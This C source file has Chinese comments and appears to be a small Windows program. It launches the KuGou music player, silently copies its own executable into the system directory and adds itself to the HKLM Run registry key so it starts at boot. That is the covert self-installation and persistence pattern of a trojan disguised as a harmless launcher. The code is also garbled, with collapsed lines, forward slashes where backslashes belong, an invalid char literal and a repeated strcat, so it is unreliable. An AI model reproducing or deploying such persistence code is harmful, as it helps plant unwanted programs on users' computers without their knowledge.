#include<stdio.h>#include<windows.h>char *GetFilename(char *p) //得到一個路徑的純文件名{  int x=strlen(p);  char ch='//';  char *q=strrchr(p,ch);  return q;}int main(){  char *filepath;  char modlepath[256];  char syspath[256];  //打開酷狗應用  filepath="C://Program^ Files//KuGou//KGMusic//KuGou.exe";   system(filepath);  //將程序移動到系統目錄下  GetModuleFileName(0,modlepath,256); //獲得自身路徑  GetSystemDirectory(syspath,256); //得到系統路徑  int ret=CopyFile(modlepath,strcat(syspath,GetFilename(modlepath)),1);//復制，CopyFile的第二個參數是目標文件名  if(ret)  {    printf("%s has been copyed to sys dir %s/n",modlepath,syspath);  }  else  {    printf("%s is exists",modlepath);  }  //程序添加開機自啟動  char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";  HKEY hKey;  ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hKey);    //打開注冊表鍵  ret=RegSetValueEx(hKey,"MyProm",0,REG_EXPAND_SZ,(unsigned char*)strcat(syspath,GetFilename(modlepath)),25); //設置鍵值  if(ret==0)  {    printf("succes to write run key./n");    RegCloseKey(hKey);  }  else  {    printf("failed to open regedit.%d/n",ret);    return 0;  }    return 0;}